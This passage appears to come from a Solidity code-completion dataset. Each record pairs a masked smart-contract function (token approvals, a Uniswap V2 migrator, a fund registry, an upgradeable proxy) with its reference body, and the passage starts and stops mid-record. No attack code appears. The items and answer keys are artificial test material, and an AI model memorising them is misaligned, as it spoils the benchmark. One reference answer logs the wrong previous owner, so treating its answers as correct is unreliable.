function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
} |
bytes8 n = bytes8(sha3(nonce, currentChallenge)); // Generate a random hash based on input
require(n >= bytes8(difficulty)); // Check if it's under the difficulty
uint timeSinceLastProof = (now - timeOfLastProof); // Calculate time since last reward was given
require(timeSinceLastProof >= 5 seconds); // Rewards cannot be given too quickly
balanceOf[msg.sender] += timeSinceLastProof / 60 seconds; // The reward to the winner grows by the minute
difficulty = difficulty * 10 minutes / timeSinceLastProof + 1; // Adjusts the difficulty
timeOfLastProof = now; // Reset the counter
currentChallenge = sha3(nonce, currentChallenge, block.blockhash(block.number - 1)); // Save a hash that will be used as the next proof
| function proofOfWork(uint nonce) | // Difficulty starts reasonably low
function proofOfWork(uint nonce) |
42753 | StandardToken | decreaseApproval | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "StandardToken: receiver address empty");
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != address(0), "StandardToken: spender address empty");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint256 _addedValue) public
returns (bool success) {
require(_spender != address(0), "StandardToken: spender address empty");
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint256 _subtractedValue) public
returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "StandardToken: receiver address empty");
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != address(0), "StandardToken: spender address empty");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint256 _addedValue) public
returns (bool success) {
require(_spender != address(0), "StandardToken: spender address empty");
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
<FILL_FUNCTION>
} |
require(_spender != address(0), "StandardToken: spender address empty");
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
| function decreaseApproval (address _spender, uint256 _subtractedValue) public
returns (bool success) | function decreaseApproval (address _spender, uint256 _subtractedValue) public
returns (bool success) |
43364 | SmartFundRegistry | createSmartFund | contract SmartFundRegistry is Ownable {
address[] public smartFunds;
// The Smart Contract which stores the addresses of all the authorized Exchange Portals
PermittedExchangesInterface public permittedExchanges;
// The Smart Contract which stores the addresses of all the authorized Pool Portals
PermittedPoolsInterface public permittedPools;
// The Smart Contract which stores the addresses of all the authorized stable coins
PermittedStablesInterface public permittedStables;
// The Smart Contract which stores the addresses of all the authorized Converts portal
PermittedConvertsInterface public permittedConverts;
// Addresses of portals
address public poolPortalAddress;
address public exchangePortalAddress;
address public convertPortalAddress;
// platForm fee is out of 10,000, e.g 2500 is 25%
uint256 public platformFee;
// Default maximum success fee is 3000/30%
uint256 public maximumSuccessFee = 3000;
// Address of stable coin can be set in constructor and changed via function
address public stableCoinAddress;
// Addresses for Compound platform
address public cEther;
// Factories
SmartFundETHFactoryInterface public smartFundETHFactory;
SmartFundUSDFactoryInterface public smartFundUSDFactory;
event SmartFundAdded(address indexed smartFundAddress, address indexed owner);
/**
* @dev contructor
*
* @param _convertPortalAddress address of convert portal contract
* @param _platformFee Initial platform fee
* @param _permittedExchangesAddress Address of the permittedExchanges contract
* @param _exchangePortalAddress Address of the initial ExchangePortal contract
* @param _permittedPoolAddress Address of the permittedPool contract
* @param _poolPortalAddress Address of the initial PoolPortal contract
* @param _permittedStables Address of the permittesStabels contract
* @param _stableCoinAddress Address of the stable coin
* @param _smartFundETHFactory Address of smartFund ETH factory
* @param _smartFundUSDFactory Address of smartFund USD factory
* @param _cEther Address of Compound ETH wrapper
* @param _permittedConvertsAddress Address of the permittedConverts contract
*/
constructor(
address _convertPortalAddress,
uint256 _platformFee,
address _permittedExchangesAddress,
address _exchangePortalAddress,
address _permittedPoolAddress,
address _poolPortalAddress,
address _permittedStables,
address _stableCoinAddress,
address _smartFundETHFactory,
address _smartFundUSDFactory,
address _cEther,
address _permittedConvertsAddress
) public {
convertPortalAddress = _convertPortalAddress;
platformFee = _platformFee;
exchangePortalAddress = _exchangePortalAddress;
permittedExchanges = PermittedExchangesInterface(_permittedExchangesAddress);
permittedPools = PermittedPoolsInterface(_permittedPoolAddress);
permittedStables = PermittedStablesInterface(_permittedStables);
poolPortalAddress = _poolPortalAddress;
stableCoinAddress = _stableCoinAddress;
smartFundETHFactory = SmartFundETHFactoryInterface(_smartFundETHFactory);
smartFundUSDFactory = SmartFundUSDFactoryInterface(_smartFundUSDFactory);
cEther = _cEther;
permittedConverts = PermittedConvertsInterface(_permittedConvertsAddress);
}
/**
* @dev Creates a new SmartFund
*
* @param _name The name of the new fund
* @param _successFee The fund managers success fee
* @param _isStableBasedFund true for USD base fund, false for ETH base
*/
function createSmartFund(
string _name,
uint256 _successFee,
bool _isStableBasedFund
) public {<FILL_FUNCTION_BODY> }
function totalSmartFunds() public view returns (uint256) {
return smartFunds.length;
}
function getAllSmartFundAddresses() public view returns(address[]) {
address[] memory addresses = new address[](smartFunds.length);
for (uint i; i < smartFunds.length; i++) {
addresses[i] = address(smartFunds[i]);
}
return addresses;
}
/**
* @dev Sets a new default ExchangePortal address
*
* @param _newExchangePortalAddress Address of the new exchange portal to be set
*/
function setExchangePortalAddress(address _newExchangePortalAddress) public onlyOwner {
// Require that the new exchange portal is permitted by permittedExchanges
require(permittedExchanges.permittedAddresses(_newExchangePortalAddress));
exchangePortalAddress = _newExchangePortalAddress;
}
/**
* @dev Sets a new default Portal Portal address
*
* @param _poolPortalAddress Address of the new pool portal to be set
*/
function setPoolPortalAddress (address _poolPortalAddress) external onlyOwner {
// Require that the new pool portal is permitted by permittedPools
require(permittedPools.permittedAddresses(_poolPortalAddress));
poolPortalAddress = _poolPortalAddress;
}
/**
* @dev Sets a new default Convert Portal address
*
* @param _convertPortalAddress Address of the new convert portal to be set
*/
function setConvertPortalAddress(address _convertPortalAddress) external onlyOwner {
// Require that the new convert portal is permitted by permittedConverts
require(permittedConverts.permittedAddresses(_convertPortalAddress));
convertPortalAddress = _convertPortalAddress;
}
/**
* @dev Sets maximum success fee for all newly created SmartFunds
*
* @param _maximumSuccessFee New maximum success fee
*/
function setMaximumSuccessFee(uint256 _maximumSuccessFee) external onlyOwner {
maximumSuccessFee = _maximumSuccessFee;
}
/**
* @dev Sets platform fee for all newly created SmartFunds
*
* @param _platformFee New platform fee
*/
function setPlatformFee(uint256 _platformFee) external onlyOwner {
platformFee = _platformFee;
}
/**
* @dev Sets new stableCoinAddress
*
* @param _stableCoinAddress New stable address
*/
function setStableCoinAddress(address _stableCoinAddress) external onlyOwner {
require(permittedStables.permittedAddresses(_stableCoinAddress));
stableCoinAddress = _stableCoinAddress;
}
/**
* @dev Allows platform to withdraw tokens received as part of the platform fee
*
* @param _tokenAddress Address of the token to be withdrawn
*/
function withdrawTokens(address _tokenAddress) external onlyOwner {
ERC20 token = ERC20(_tokenAddress);
token.transfer(owner, token.balanceOf(this));
}
/**
* @dev Allows platform to withdraw ether received as part of the platform fee
*/
function withdrawEther() external onlyOwner {
owner.transfer(address(this).balance);
}
// Fallback payable function in order to receive ether when fund manager withdraws their cut
function() public payable {}
} | contract SmartFundRegistry is Ownable {
address[] public smartFunds;
// The Smart Contract which stores the addresses of all the authorized Exchange Portals
PermittedExchangesInterface public permittedExchanges;
// The Smart Contract which stores the addresses of all the authorized Pool Portals
PermittedPoolsInterface public permittedPools;
// The Smart Contract which stores the addresses of all the authorized stable coins
PermittedStablesInterface public permittedStables;
// The Smart Contract which stores the addresses of all the authorized Converts portal
PermittedConvertsInterface public permittedConverts;
// Addresses of portals
address public poolPortalAddress;
address public exchangePortalAddress;
address public convertPortalAddress;
// platForm fee is out of 10,000, e.g 2500 is 25%
uint256 public platformFee;
// Default maximum success fee is 3000/30%
uint256 public maximumSuccessFee = 3000;
// Address of stable coin can be set in constructor and changed via function
address public stableCoinAddress;
// Addresses for Compound platform
address public cEther;
// Factories
SmartFundETHFactoryInterface public smartFundETHFactory;
SmartFundUSDFactoryInterface public smartFundUSDFactory;
event SmartFundAdded(address indexed smartFundAddress, address indexed owner);
/**
* @dev contructor
*
* @param _convertPortalAddress address of convert portal contract
* @param _platformFee Initial platform fee
* @param _permittedExchangesAddress Address of the permittedExchanges contract
* @param _exchangePortalAddress Address of the initial ExchangePortal contract
* @param _permittedPoolAddress Address of the permittedPool contract
* @param _poolPortalAddress Address of the initial PoolPortal contract
* @param _permittedStables Address of the permittesStabels contract
* @param _stableCoinAddress Address of the stable coin
* @param _smartFundETHFactory Address of smartFund ETH factory
* @param _smartFundUSDFactory Address of smartFund USD factory
* @param _cEther Address of Compound ETH wrapper
* @param _permittedConvertsAddress Address of the permittedConverts contract
*/
constructor(
address _convertPortalAddress,
uint256 _platformFee,
address _permittedExchangesAddress,
address _exchangePortalAddress,
address _permittedPoolAddress,
address _poolPortalAddress,
address _permittedStables,
address _stableCoinAddress,
address _smartFundETHFactory,
address _smartFundUSDFactory,
address _cEther,
address _permittedConvertsAddress
) public {
convertPortalAddress = _convertPortalAddress;
platformFee = _platformFee;
exchangePortalAddress = _exchangePortalAddress;
permittedExchanges = PermittedExchangesInterface(_permittedExchangesAddress);
permittedPools = PermittedPoolsInterface(_permittedPoolAddress);
permittedStables = PermittedStablesInterface(_permittedStables);
poolPortalAddress = _poolPortalAddress;
stableCoinAddress = _stableCoinAddress;
smartFundETHFactory = SmartFundETHFactoryInterface(_smartFundETHFactory);
smartFundUSDFactory = SmartFundUSDFactoryInterface(_smartFundUSDFactory);
cEther = _cEther;
permittedConverts = PermittedConvertsInterface(_permittedConvertsAddress);
}
<FILL_FUNCTION>
function totalSmartFunds() public view returns (uint256) {
return smartFunds.length;
}
function getAllSmartFundAddresses() public view returns(address[]) {
address[] memory addresses = new address[](smartFunds.length);
for (uint i; i < smartFunds.length; i++) {
addresses[i] = address(smartFunds[i]);
}
return addresses;
}
/**
* @dev Sets a new default ExchangePortal address
*
* @param _newExchangePortalAddress Address of the new exchange portal to be set
*/
function setExchangePortalAddress(address _newExchangePortalAddress) public onlyOwner {
// Require that the new exchange portal is permitted by permittedExchanges
require(permittedExchanges.permittedAddresses(_newExchangePortalAddress));
exchangePortalAddress = _newExchangePortalAddress;
}
/**
* @dev Sets a new default Portal Portal address
*
* @param _poolPortalAddress Address of the new pool portal to be set
*/
function setPoolPortalAddress (address _poolPortalAddress) external onlyOwner {
// Require that the new pool portal is permitted by permittedPools
require(permittedPools.permittedAddresses(_poolPortalAddress));
poolPortalAddress = _poolPortalAddress;
}
/**
* @dev Sets a new default Convert Portal address
*
* @param _convertPortalAddress Address of the new convert portal to be set
*/
function setConvertPortalAddress(address _convertPortalAddress) external onlyOwner {
// Require that the new convert portal is permitted by permittedConverts
require(permittedConverts.permittedAddresses(_convertPortalAddress));
convertPortalAddress = _convertPortalAddress;
}
/**
* @dev Sets maximum success fee for all newly created SmartFunds
*
* @param _maximumSuccessFee New maximum success fee
*/
function setMaximumSuccessFee(uint256 _maximumSuccessFee) external onlyOwner {
maximumSuccessFee = _maximumSuccessFee;
}
/**
* @dev Sets platform fee for all newly created SmartFunds
*
* @param _platformFee New platform fee
*/
function setPlatformFee(uint256 _platformFee) external onlyOwner {
platformFee = _platformFee;
}
/**
* @dev Sets new stableCoinAddress
*
* @param _stableCoinAddress New stable address
*/
function setStableCoinAddress(address _stableCoinAddress) external onlyOwner {
require(permittedStables.permittedAddresses(_stableCoinAddress));
stableCoinAddress = _stableCoinAddress;
}
/**
* @dev Allows platform to withdraw tokens received as part of the platform fee
*
* @param _tokenAddress Address of the token to be withdrawn
*/
function withdrawTokens(address _tokenAddress) external onlyOwner {
ERC20 token = ERC20(_tokenAddress);
token.transfer(owner, token.balanceOf(this));
}
/**
* @dev Allows platform to withdraw ether received as part of the platform fee
*/
function withdrawEther() external onlyOwner {
owner.transfer(address(this).balance);
}
// Fallback payable function in order to receive ether when fund manager withdraws their cut
function() public payable {}
} |
// Require that the funds success fee be less than the maximum allowed amount
require(_successFee <= maximumSuccessFee);
address owner = msg.sender;
address smartFund;
if(_isStableBasedFund){
// Create USD Fund
smartFund = smartFundUSDFactory.createSmartFund(
owner,
_name,
_successFee,
platformFee,
exchangePortalAddress,
address(permittedExchanges),
address(permittedPools),
address(permittedStables),
poolPortalAddress,
stableCoinAddress,
convertPortalAddress,
cEther,
convertPortalAddress
);
}else{
// Create ETH Fund
smartFund = smartFundETHFactory.createSmartFund(
owner,
_name,
_successFee,
platformFee,
exchangePortalAddress,
address(permittedExchanges),
address(permittedPools),
poolPortalAddress,
convertPortalAddress,
cEther,
convertPortalAddress
);
}
smartFunds.push(smartFund);
emit SmartFundAdded(smartFund, owner);
| function createSmartFund(
string _name,
uint256 _successFee,
bool _isStableBasedFund
) public | /**
* @dev Creates a new SmartFund
*
* @param _name The name of the new fund
* @param _successFee The fund managers success fee
* @param _isStableBasedFund true for USD base fund, false for ETH base
*/
function createSmartFund(
string _name,
uint256 _successFee,
bool _isStableBasedFund
) public |
76134 | BasicTradeBotCommanderStaging | processLimitOrder | contract BasicTradeBotCommanderStaging {
DharmaTradeBotV1Interface _TRADE_BOT = DharmaTradeBotV1Interface(
0x0f36f2DA9F935a7802a4f1Af43A3740A73219A9e
);
function processLimitOrder(
DharmaTradeBotV1Interface.LimitOrderArguments calldata args,
DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs
) external returns (uint256 amountReceived) {<FILL_FUNCTION_BODY> }
} | contract BasicTradeBotCommanderStaging {
DharmaTradeBotV1Interface _TRADE_BOT = DharmaTradeBotV1Interface(
0x0f36f2DA9F935a7802a4f1Af43A3740A73219A9e
);
<FILL_FUNCTION>
} |
amountReceived = _TRADE_BOT.processLimitOrder(
args, executionArgs
);
| function processLimitOrder(
DharmaTradeBotV1Interface.LimitOrderArguments calldata args,
DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs
) external returns (uint256 amountReceived) | function processLimitOrder(
DharmaTradeBotV1Interface.LimitOrderArguments calldata args,
DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs
) external returns (uint256 amountReceived) |
8478 | OwnedUpgradeabilityProxy | transferProxyOwnership | contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
// Storage position of the owner of the contract
bytes32 private constant PROXY_OWNER_POSITION = keccak256("fixed.price.trade.proxy.owner");
/**
* @dev the constructor sets the original owner of the contract to the sender account.
*/
constructor(address _implementation) public {
_setUpgradeabilityOwner(msg.sender);
_upgradeTo(_implementation);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner());
_;
}
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function proxyOwner() public view returns (address owner) {
bytes32 position = PROXY_OWNER_POSITION;
assembly {
owner := sload(position)
}
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferProxyOwnership(address _newOwner) public onlyProxyOwner {<FILL_FUNCTION_BODY> }
/**
* @dev Allows the proxy owner to upgrade the current version of the proxy.
* @param _implementation representing the address of the new implementation to be set.
*/
function upgradeTo(address _implementation) public onlyProxyOwner {
_upgradeTo(_implementation);
}
/**
* @dev Sets the address of the owner
*/
function _setUpgradeabilityOwner(address _newProxyOwner) internal {
bytes32 position = PROXY_OWNER_POSITION;
assembly {
sstore(position, _newProxyOwner)
}
}
} | contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
// Storage position of the owner of the contract
bytes32 private constant PROXY_OWNER_POSITION = keccak256("fixed.price.trade.proxy.owner");
/**
* @dev the constructor sets the original owner of the contract to the sender account.
*/
constructor(address _implementation) public {
_setUpgradeabilityOwner(msg.sender);
_upgradeTo(_implementation);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner());
_;
}
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function proxyOwner() public view returns (address owner) {
bytes32 position = PROXY_OWNER_POSITION;
assembly {
owner := sload(position)
}
}
<FILL_FUNCTION>
/**
* @dev Allows the proxy owner to upgrade the current version of the proxy.
* @param _implementation representing the address of the new implementation to be set.
*/
function upgradeTo(address _implementation) public onlyProxyOwner {
_upgradeTo(_implementation);
}
/**
* @dev Sets the address of the owner
*/
function _setUpgradeabilityOwner(address _newProxyOwner) internal {
bytes32 position = PROXY_OWNER_POSITION;
assembly {
sstore(position, _newProxyOwner)
}
}
} |
require(_newOwner != address(0));
_setUpgradeabilityOwner(_newOwner);
emit ProxyOwnershipTransferred(proxyOwner(), _newOwner);
| function transferProxyOwnership(address _newOwner) public onlyProxyOwner | /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferProxyOwnership(address _newOwner) public onlyProxyOwner |
18015 | UniswapV2Migrator | migrate | contract UniswapV2Migrator is IUniswapV2Migrator {
IUniswapV1Factory immutable factoryV1;
IUniswapV2Router01 immutable router;
constructor(address _factoryV1, address _router) public {
factoryV1 = IUniswapV1Factory(_factoryV1);
router = IUniswapV2Router01(_router);
}
// needs to accept ETH from any v1 exchange and the router. ideally this could be enforced, as in the router,
// but it's not possible because it requires a call to the v1 factory, which takes too much gas
receive() external payable {}
function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external
override
{<FILL_FUNCTION_BODY> }
} | contract UniswapV2Migrator is IUniswapV2Migrator {
IUniswapV1Factory immutable factoryV1;
IUniswapV2Router01 immutable router;
constructor(address _factoryV1, address _router) public {
factoryV1 = IUniswapV1Factory(_factoryV1);
router = IUniswapV2Router01(_router);
}
// needs to accept ETH from any v1 exchange and the router. ideally this could be enforced, as in the router,
// but it's not possible because it requires a call to the v1 factory, which takes too much gas
receive() external payable {}
<FILL_FUNCTION>
} |
IUniswapV1Exchange exchangeV1 = IUniswapV1Exchange(factoryV1.getExchange(token));
uint liquidityV1 = exchangeV1.balanceOf(msg.sender);
require(exchangeV1.transferFrom(msg.sender, address(this), liquidityV1), 'TRANSFER_FROM_FAILED');
(uint amountETHV1, uint amountTokenV1) = exchangeV1.removeLiquidity(liquidityV1, 1, 1, uint(-1));
TransferHelper.safeApprove(token, address(router), amountTokenV1);
(uint amountTokenV2, uint amountETHV2,) = router.addLiquidityETH{value: amountETHV1}(
token,
amountTokenV1,
amountTokenMin,
amountETHMin,
to,
deadline
);
if (amountTokenV1 > amountTokenV2) {
TransferHelper.safeApprove(token, address(router), 0); // be a good blockchain citizen, reset allowance to 0
TransferHelper.safeTransfer(token, msg.sender, amountTokenV1 - amountTokenV2);
} else if (amountETHV1 > amountETHV2) {
// addLiquidityETH guarantees that all of amountETHV1 or amountTokenV1 will be used, hence this else is safe
TransferHelper.safeTransferETH(msg.sender, amountETHV1 - amountETHV2);
}
| function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external
override
| function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external
override
|
15358 | TokenERC20 | decreaseApproval | contract TokenERC20 is Ownable{
using SafeMath for uint256;
string public constant name = "易游币";
string public constant symbol = "YYB";
uint32 public constant decimals = 18;
uint256 public totalSupply = 10000000000 ether;
uint256 public currentTotalSupply = 0;
uint256 startBalance = 10000 ether;
mapping(address => bool) touched;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
if( !touched[msg.sender] && currentTotalSupply < totalSupply ){
balances[msg.sender] = balances[msg.sender].add( startBalance );
touched[msg.sender] = true;
currentTotalSupply = currentTotalSupply.add( startBalance );
}
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= allowed[_from][msg.sender]);
if( !touched[_from] && currentTotalSupply < totalSupply ){
touched[_from] = true;
balances[_from] = balances[_from].add( startBalance );
currentTotalSupply = currentTotalSupply.add( startBalance );
}
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {<FILL_FUNCTION_BODY> }
function getBalance(address _a) internal constant returns(uint256)
{
if( currentTotalSupply < totalSupply ){
if( touched[_a] )
return balances[_a];
else
return balances[_a].add( startBalance );
} else {
return balances[_a];
}
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return getBalance( _owner );
}
} | contract TokenERC20 is Ownable{
using SafeMath for uint256;
string public constant name = "易游币";
string public constant symbol = "YYB";
uint32 public constant decimals = 18;
uint256 public totalSupply = 10000000000 ether;
uint256 public currentTotalSupply = 0;
uint256 startBalance = 10000 ether;
mapping(address => bool) touched;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
if( !touched[msg.sender] && currentTotalSupply < totalSupply ){
balances[msg.sender] = balances[msg.sender].add( startBalance );
touched[msg.sender] = true;
currentTotalSupply = currentTotalSupply.add( startBalance );
}
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= allowed[_from][msg.sender]);
if( !touched[_from] && currentTotalSupply < totalSupply ){
touched[_from] = true;
balances[_from] = balances[_from].add( startBalance );
currentTotalSupply = currentTotalSupply.add( startBalance );
}
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
<FILL_FUNCTION>
function getBalance(address _a) internal constant returns(uint256)
{
if( currentTotalSupply < totalSupply ){
if( touched[_a] )
return balances[_a];
else
return balances[_a].add( startBalance );
} else {
return balances[_a];
}
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return getBalance( _owner );
}
} |
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
| function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) | function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) |
51131 | Finder | changeImplementationAddress | contract Finder is Ownable {
mapping(bytes32 => address) public interfacesImplemented;
event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress);
/**
* @dev Updates the address of the contract that implements `interfaceName`.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress)
external
onlyOwner
{<FILL_FUNCTION_BODY> }
/**
* @dev Gets the address of the contract that implements the given `interfaceName`.
*/
function getImplementationAddress(bytes32 interfaceName)
external
view
returns (address implementationAddress)
{
implementationAddress = interfacesImplemented[interfaceName];
require(implementationAddress != address(0x0), "No implementation for interface found");
}
} | contract Finder is Ownable {
mapping(bytes32 => address) public interfacesImplemented;
event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress);
<FILL_FUNCTION>
/**
* @dev Gets the address of the contract that implements the given `interfaceName`.
*/
function getImplementationAddress(bytes32 interfaceName)
external
view
returns (address implementationAddress)
{
implementationAddress = interfacesImplemented[interfaceName];
require(implementationAddress != address(0x0), "No implementation for interface found");
}
} |
interfacesImplemented[interfaceName] = implementationAddress;
emit InterfaceImplementationChanged(interfaceName, implementationAddress);
| function changeImplementationAddress(bytes32 interfaceName, address implementationAddress)
external
onlyOwner
| /**
* @dev Updates the address of the contract that implements `interfaceName`.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress)
external
onlyOwner
|
34175 | DappAddressStore | addDapp | contract DappAddressStore is DataStore, OwnerManagable
{
bytes32 internal constant DAPPS = keccak256("__DAPPS__");
event Whitelisted(
address indexed addr,
bool whitelisted
);
constructor() public DataStore() {}
function addDapp(address addr)
public
onlyManager
{<FILL_FUNCTION_BODY> }
function removeDapp(address addr)
public
onlyManager
{
removeAddressFromSet(DAPPS, addr);
emit Whitelisted(addr, false);
}
function dapps()
public
view
returns (
address[] memory addresses
)
{
return addressesInSet(DAPPS);
}
function isDapp(
address addr
)
public
view
returns (bool)
{
return isAddressInSet(DAPPS, addr);
}
function numDapps()
public
view
returns (uint)
{
return numAddressesInSet(DAPPS);
}
} | contract DappAddressStore is DataStore, OwnerManagable
{
bytes32 internal constant DAPPS = keccak256("__DAPPS__");
event Whitelisted(
address indexed addr,
bool whitelisted
);
constructor() public DataStore() {}
<FILL_FUNCTION>
function removeDapp(address addr)
public
onlyManager
{
